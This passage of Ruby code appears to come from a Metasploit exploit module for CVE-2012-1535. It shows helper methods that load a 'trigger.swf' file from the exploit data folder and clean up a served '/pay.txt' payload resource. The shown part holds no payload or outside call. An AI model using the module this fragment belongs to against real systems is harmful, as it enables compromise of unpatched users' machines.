print_status("SWF Loaded: #{@swf.length.to_s} bytes")
super
end
def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def cleanup
vprint_status("Removing txt resource")
remove_resource('/pay.txt') rescue nil
super
end
end